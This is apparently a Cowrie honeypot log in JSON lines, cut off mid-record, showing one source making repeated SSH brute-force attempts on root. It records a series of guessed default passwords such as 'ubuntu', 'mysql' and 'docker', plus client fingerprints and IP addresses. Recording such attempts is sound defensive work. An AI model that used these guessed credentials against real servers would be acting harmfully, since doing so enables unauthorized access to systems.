{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:34:59.321921Z","src_ip":"13.234.134.227","session":"500c3c4bc9bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:34:59.917495Z","src_ip":"13.234.134.227","session":"500c3c4bc9bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:01.118756Z","src_ip":"13.234.134.227","session":"500c3c4bc9bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.234.134.227","src_port":34900,"dst_ip":"159.203.135.109","dst_port":22,"session":"18e92442fa51","protocol":"ssh","message":"New connection: 13.234.134.227:34900 (159.203.135.109:22) [session: 18e92442fa51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:01.321719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:01.329784Z","src_ip":"13.234.134.227","session":"18e92442fa51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:01.531768Z","src_ip":"13.234.134.227","session":"18e92442fa51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian","message":"login attempt [root/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:02.139858Z","src_ip":"13.234.134.227","session":"18e92442fa51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:03.345202Z","src_ip":"13.234.134.227","session":"18e92442fa51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.234.134.227","src_port":34666,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cccb128400c","protocol":"ssh","message":"New connection: 13.234.134.227:34666 (159.203.135.109:22) [session: 3cccb128400c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:03.540453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:03.544404Z","src_ip":"13.234.134.227","session":"3cccb128400c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:03.748948Z","src_ip":"13.234.134.227","session":"3cccb128400c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos","message":"login attempt [root/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:04.357160Z","src_ip":"13.234.134.227","session":"3cccb128400c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:05.562179Z","src_ip":"13.234.134.227","session":"3cccb128400c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.234.134.227","src_port":34682,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bb4a131d11e","protocol":"ssh","message":"New connection: 13.234.134.227:34682 (159.203.135.109:22) [session: 9bb4a131d11e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:05.766912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:05.771069Z","src_ip":"13.234.134.227","session":"9bb4a131d11e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:05.974622Z","src_ip":"13.234.134.227","session":"9bb4a131d11e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:06.586809Z","src_ip":"13.234.134.227","session":"9bb4a131d11e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00172066688538,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:07.696377Z","src_ip":"128.199.209.169","session":"a9a3f1a01b6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:07.795539Z","src_ip":"13.234.134.227","session":"9bb4a131d11e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.234.134.227","src_port":34684,"dst_ip":"159.203.135.109","dst_port":22,"session":"17fb0f681dd0","protocol":"ssh","message":"New connection: 13.234.134.227:34684 (159.203.135.109:22) [session: 17fb0f681dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:07.991863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:08.000479Z","src_ip":"13.234.134.227","session":"17fb0f681dd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:08.199715Z","src_ip":"13.234.134.227","session":"17fb0f681dd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nginx","message":"login attempt [root/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:08.797737Z","src_ip":"13.234.134.227","session":"17fb0f681dd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:09.998248Z","src_ip":"13.234.134.227","session":"17fb0f681dd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.234.134.227","src_port":34688,"dst_ip":"159.203.135.109","dst_port":22,"session":"33eddf35616f","protocol":"ssh","message":"New connection: 13.234.134.227:34688 (159.203.135.109:22) [session: 33eddf35616f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:13.266142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:13.277596Z","src_ip":"13.234.134.227","session":"33eddf35616f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:13.478084Z","src_ip":"13.234.134.227","session":"33eddf35616f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mysql","message":"login attempt [root/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:14.278992Z","src_ip":"13.234.134.227","session":"33eddf35616f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:15.487031Z","src_ip":"13.234.134.227","session":"33eddf35616f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.234.134.227","src_port":35938,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ae748cdb883","protocol":"ssh","message":"New connection: 13.234.134.227:35938 (159.203.135.109:22) [session: 2ae748cdb883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:15.683326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:15.694518Z","src_ip":"13.234.134.227","session":"2ae748cdb883","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:15.899270Z","src_ip":"13.234.134.227","session":"2ae748cdb883","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apache","message":"login attempt [root/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:16.509951Z","src_ip":"13.234.134.227","session":"2ae748cdb883","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:17.714981Z","src_ip":"13.234.134.227","session":"2ae748cdb883","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.234.134.227","src_port":35952,"dst_ip":"159.203.135.109","dst_port":22,"session":"0976716645ae","protocol":"ssh","message":"New connection: 13.234.134.227:35952 (159.203.135.109:22) [session: 0976716645ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:17.918680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:17.923826Z","src_ip":"13.234.134.227","session":"0976716645ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:18.127059Z","src_ip":"13.234.134.227","session":"0976716645ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"docker","message":"login attempt [root/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:18.739902Z","src_ip":"13.234.134.227","session":"0976716645ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:19.949088Z","src_ip":"13.234.134.227","session":"0976716645ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.718336582183838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:20.090484Z","src_ip":"72.167.226.244","session":"ec13b2dee15b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"13.234.134.227","src_port":35956,"dst_ip":"159.203.135.109","dst_port":22,"session":"1582e9940097","protocol":"ssh","message":"New connection: 13.234.134.227:35956 (159.203.135.109:22) [session: 1582e9940097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:20.144993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:20.149106Z","src_ip":"13.234.134.227","session":"1582e9940097","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:20.352933Z","src_ip":"13.234.134.227","session":"1582e9940097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps","message":"login attempt [root/vps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:20.970317Z","src_ip":"13.234.134.227","session":"1582e9940097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:22.177037Z","src_ip":"13.234.134.227","session":"1582e9940097","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.234.134.227","src_port":35972,"dst_ip":"159.203.135.109","dst_port":22,"session":"4380b68e7953","protocol":"ssh","message":"New connection: 13.234.134.227:35972 (159.203.135.109:22) [session: 4380b68e7953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:22.372519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:22.376483Z","src_ip":"13.234.134.227","session":"4380b68e7953","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-